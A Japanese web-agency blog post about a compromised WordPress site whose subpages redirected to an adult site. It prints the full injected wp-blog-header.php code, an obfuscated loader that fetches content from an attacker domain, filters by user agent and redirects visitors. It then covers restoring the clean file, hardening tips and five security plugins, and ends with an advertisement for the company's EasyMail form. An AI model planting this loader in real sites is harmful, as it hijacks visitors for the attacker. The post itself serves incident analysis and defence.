WordPressが改ざんされた時の対策と検知するためのプラグインを紹介。事例と原因も解説します。
今回のテーマはWordpressの改ざんによるウイルスを仕込まれたお話です。
あるお客様でホームページがウイルスに感染したという事例をご紹介します。
無料で簡単インストール。
オープンソースのメールフォームCMS
「EasyMail(イージーメール)」を使ってみませんか?
改変でも、再配布でも、商用利用でも、有料販売でも、
自由に無料でつかうことができるメールフォーム!
目次
WordPressが改ざんされ、ホームページがアダルトサイトに矯正リダイレクト
先日、突然新規のお問い合わせがあり非常に慌てた様子でご相談があったのです。
そのお客様のお話では自社のサイトがおかしなことになっているということで詳しく話をおききしたところ
よくある「会社情報」とか、「プライバシーポリシー」とかいわゆる下層ページがアダルトサイトになっているというのです。
実際そのサイトにアクセスするとトップページは正常なのですが、下層ページをクリックすると
別ページに矯正リダイレクトされアダルトサイトにいくではありませんか・・・
原因はWordpressのPHPコードの改ざんだった
お客様のお話を詳しくおききしたところWordpressというものを使っている。
以前つくってもらった制作会社は倒産してどうしようもないので至急どうにか直してほしい。
この症状が出たのはおそらく最近で先週に見たときはこんなことはなっていなかった。
というご相談でした。
ということで依頼をいただき早速調査開始。ネットからの情報を得ようと検索したのですが見つからず。
まずはWordpressにログインして投稿、固定ページなどあらいざらい確認したのですが特におかしなところが発見できませんでした。
つぎにFTPでサーバーにアクセスしてみました。
ファイルをすべてダウンロードしてとりあえずウイルスソフトでスキャンをかけてみましたがなにも検知できませんでした。
ではお客様の相談内容からして最近発覚したということなのでファイルのアップデートのタイムスタンプを調査。
すると数日前に更新されているファイルを発見。それがWPの上位階層にある「wp-blog-header.php」でした。
このファイルはデフォルトでは350バイトほどしかない少量のサイズなのに1600バイトというサイズ。
むむむ!!あやしい。おそらくこれだ!わたしはファイルをテキストエディタで開いてみました。
「wp-blog-header.php」が改ざんされていた!
追記というか改竄です。
「wp-blog-header.php」の改竄されたコードがこちら
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 |
<?php /** * Loads the WordPress environment and template. * * @package WordPress */ $e = pathinfo($f = strtok($p = @$_SERVER["REQUEST_URI"], "?"), PATHINFO_EXTENSION); if ((!$e || in_array($e, array("html", "jpg", "png", "gif")) || basename($f, ".php") == "index") && in_array(strtok("="), array("", "p", "page_id")) && (empty($_SERVER["HTTP_USER_AGENT"]) || (stripos($u = $_SERVER["HTTP_USER_AGENT"], "AhrefsBot") === false && stripos($u, "MJ12bot") === false))) { $at = "base64_" . "decode"; $ch = curl_init($at("aHR0cDovL2RvbWZvcnVsdHJhZG9ycy5jb20v") . "15661992802f193eb068b4093544eb55" . $p); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HTTPHEADER, array( "X-Forwarded-For: " . @$_SERVER["REMOTE_ADDR"]) ); if (isset($_SERVER["HTTP_USER_AGENT"])) curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER["HTTP_USER_AGENT"]); if (isset($_SERVER["HTTP_REFERER"])) curl_setopt($ch, CURLOPT_REFERER, $_SERVER["HTTP_REFERER"]); $ci = "curl_ex" . "ec"; $data = $ci($ch); $code = curl_getinfo($ch, CURLINFO_HTTP_CODE); if (strlen($data) > 255 && $code == 200) { echo $data; exit; } else if ($data && ($code == 301 || $code == 302)) { header("Location: " . trim($data), true, $code); exit; } } if ( !isset($wp_did_header) ) { $wp_did_header = true; // Load the WordPress library. require_once( dirname(__FILE__) . '/wp-load.php' ); // Set up the WordPress query. wp(); // Load the theme template. require_once( ABSPATH . WPINC . '/template-loader.php' ); } |
で、デフォルトはこちら
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
<?php /** * Loads the WordPress environment and template. * * @package WordPress */ if ( !isset($wp_did_header) ) { $wp_did_header = true; // Load the WordPress library. require_once( dirname(__FILE__) . '/wp-load.php' ); // Set up the WordPress query. wp(); // Load the theme template. require_once( ABSPATH . WPINC . '/template-loader.php' ); } |
強制的にリダイレクトさせられた改ざん部分
この改ざんされてコードで核心の部分は
$ch = curl_init($at("aHR0cDovL2RvbWZvcnVsdHJhZG9ycy5jb20v") . "15661992802f193eb068b4093544eb55" . $p);
↑ ここ。
一見なにかわららないがデコードすると、
http://domforultradors.com/15661992802f193eb068b4093544eb55
となりこのhttp://domforultradors.com/に飛ばしているわけです。
このジャンプ先のアダルトサイトで何を目的としているのはこれいじょう深入りするのも怖いのでわかりませんが
フィッシングなのか、ウイルスなのか・・・
WordPress改ざんの解決方法
解決方法ですがデフォルトの「wp-blog-header.php」に差し替えたら問題なく以前のようにもどりました。
ちょっとこれで様子を見ることになりました。
WordPress改ざんの原因は何か?
このファイルが改ざんされた根本的な理由はわかりませんでした。
・考えられるのはプラグインの脆弱性をつかれた。
・FTPやWordPressの管理画面のパスワード、が甘いので不正ログインされた。
・・・
などかと思います。
こういったWordPressの改ざんは世界中でおこっており深刻な問題です。
使いやすいツールだからといってインストールして、何もセキュリティ対策を講じず放置しているサイト管理者が多いのです。
ブログをやろうと意気込んだのはいいのですが、長続きせずそのまま放置している方が多い。
WordPressはクラウドツールでありスタンドアローンで動くソフトではないのです。ちょっと知識がある方ならすぐに脆弱性を攻撃できるのです。
あなたのサイトにウイルスを仕込まれ、あなたが加害者になるリスクがあるということを認識しておきましょう!
WordPressのセキュリティ対策ポイント
WordPressを最新状態に保つ
WordPressは常にバージョンアップを行っております。現在の5系は自動更新もできるので、必ず自動更新の設定をしておきましょう。
特に重大な脆弱性はWP本体に発生する可能性が高いため、過敏になってバージョンアップに対応しましょう。
プラグインを常に最新状態に保つ
プラグインに関しても自動更新の設定をしておきましょう。プラグイン一覧で簡単に切り替えが可能です。
まれに自動更新がされていないブラグインがあるようなので、時々管理画面に入ってアップデートの通知がないか確認しましょう。
アップデートは後回しにするのではなく、迅速な対応を心がけましょう。
パスワードを強固なものにしましょう。
WordPressではユーザー設定よりパスワードを変更することができます。
新しくパスワードを変更する設定画面では強固なパスワードを生成してくれます。
このパスワード生成機能で16桁以上の英数記号を含んだ文字にしておきましょう。
覚えにくいという理由で簡単なパスワードにするなんてことは絶対にしてはいけません。パスワードは暗証番号とは違います。
覚える必要はありません。どこかまったく違う媒体にメモ保存しておくようお勧めします。
WordPressを利用しないならアンインストールしましょう。
根本的なことになりますが、もしWordPressを利用しないなら削除(アンインストール)しましょう。
乗っ取られる原因に多い理由のひとつがWordPressの放置です。放置しているということは最新の状態に保たれていないということです。
躊躇なく削除しましょう。
WordPressの「セキュリティ対策と検知」におすすめのプラグイン5選
では、いよいよWordPressのセキュリティ対策におすすめのプラグインを紹介していきます。
プラグインは全部で5つです。
厳選する上で、
・できるだけ日本語に対応したプラグインを選ぶ
・初心者でも扱いやすいプラグインを選ぶ
ことを意識しました。
では、1つずつ見ていきましょう。
おすすめプラグイン1:SiteGuard WP Plugin
おすすめのプラグイン1つ目は「SiteGuard WP Plugin」です。
基本的なセキュリティ対策はこれ1つで行うことができます。
国産なのでもちろん日本語対応ですし、初心者でも簡単に使うことができますよ。
プラグインをインストールして有効にするだけで、セキュリティ対策が機能するところも嬉しいポイントです。
/wp-admin/以降のフォルダにアクセス制限をかける機能
サイバー攻撃(不正アクセス)を防ぐためにデフォルトのwp-login.phpの名前を変更する機能
「ログインページ」や「パスワード確認ページ」などに画像認証を設置できる機能
ログイン失敗を繰り返す接続元を一時的にロックする機能
ログインがあったことをメールで通知する機能
おすすめプラグイン2:iThemes Security
おすすめのプラグイン2つ目は「iThemes Security」です。
WordPressに対して様々なセキュリティ対策を施せるプラグインとして多くのユーザーに知られています。
管理画面は見やすく、直感的に操作しやすいです。
管理画面が一部日本語対応となっているのも、人気の理由の1つといえるでしょう。
推奨されている機能や設定を使用しているかどうか確認できる機能
悪意を持つユーザーが情報を傍受するのを自動的にブロックできる機能
WordPressのダッシュボードにアクセスできる時間を指定する機能
特定のIPアドレスでアクセスしてくるユーザーをブロックする機能
サイトのデータベースをバックアップする機能
ファイルの変更などを監視する機能
サイトへ手あたり次第にログイン情報を盗もうとする攻撃からサイトを守る機能
ブラウザとサーバーの間の安全な通信を保証するSSLを使用できる
WordPressのパスワードメーターで評価される協力なパスワードの使用をユーザーに強制する機能
おすすめプラグイン3:Wordfence Security
おすすめのプラグイン3つ目は「Wordfence Security」です。
「Wordfence Security」は、サイトがどの程度セキュリティ対策されているのかをチェックするプラグインです。
プラグインを有効化すると、WordPressからログイン通知のメールが送られてくるようになります。
WordPressを様々な方向からスキャンし、どれくらいセキュリティ対策がされているかを測る機能
IPアドレスなどを基に、特定のユーザーをブロックする機能
ログイン時に、ユーザーがロボットか人間かを確認できる機能
おすすめプラグイン4:Google Authenticator
おすすめのプラグイン4つ目は「Google Authenticator」です。
「Google Authenticator」は、不正アクセス防止を強化したいという方におすすめプラグインで、二段階認証を導入できる点が特徴です。
二段階認証とは、ID・パスワードの他に、セキュリティコードを追加するシステムのことをいいます。
万が一ログイン情報が漏れてしまっても、サイトへの不正アクセスを防ぐことができるので、必ず施しておきたいセキュリティ対策です。
おすすめプラグイン5:Akismet
おすすめのプラグイン5つ目は「Akismet」です。
スパムコメント対策では、一番といっていいほど有名なプラグインといえるでしょう。
コメントの送信内容をグローバルデータベースと照合し、スパムコメントがどうかを判別します。
すべて自動化されているので、サイト運営者はいちいちコメント内容を確認する必要はありません。
WordPressの改ざんについて最後に。
今回のマルウェアに関する情報は日本語ではみつけることができなかったのですが海外の方が書いている記事があり翻訳して同様の症状のかたもいるということはわかりました。
Wordpressは便利なソフトではありますが初心者が管理するのは、難しくはありませんが、面倒で大変です。
できれば制作会社にメンテナンスを依頼してWPを最新の状態に更新しておくことが大事なんだろうとおもいますが、費用の面で難しい場合はご自身でWordPressのの知識を向上させ安心なWEBサイトを運営してください。
今回はこのへんで。
web作成、1度はこんなことありませんか?
最後まで記事を読んでくださりありがとうございます!
ここまで読んでくださった方々の中には、Web制作を行っている方、企業や個人の宣伝としてwebで宣伝されている方など たくさんいらっしゃるかと思います。
しかし、個人でweb作成をされている方、企業としてweb作成をされている方、
お問合せページに使いにくさをかんじてませんか?
たくさんの方々からお問い合わせが来ると、お客様への返信の管理やその他機能に物足りなさを感じませんか?
あるいは、メールフォームに拡張機能を追加しようとするとほしい機能が有料だった…なんてこともありませんか?
そんな方のお悩みを解決するツールが、、
EasyMailという完全無料のメールフォームです!
弊社ではEasyMailというオープンソースメールフォームCMSを展開しております!
今まではかゆいところに届かなかった、もっとカスタマイズ性が高いものが欲しい、などなどお客様の声をふんだんに反映したものになっております!
大事なことなのでもう一度言いますが、完全無料です!
詳しくは弊社のEasyMail特設ページをご覧ください!
【EasyMail】URL:https://www.mubag.com/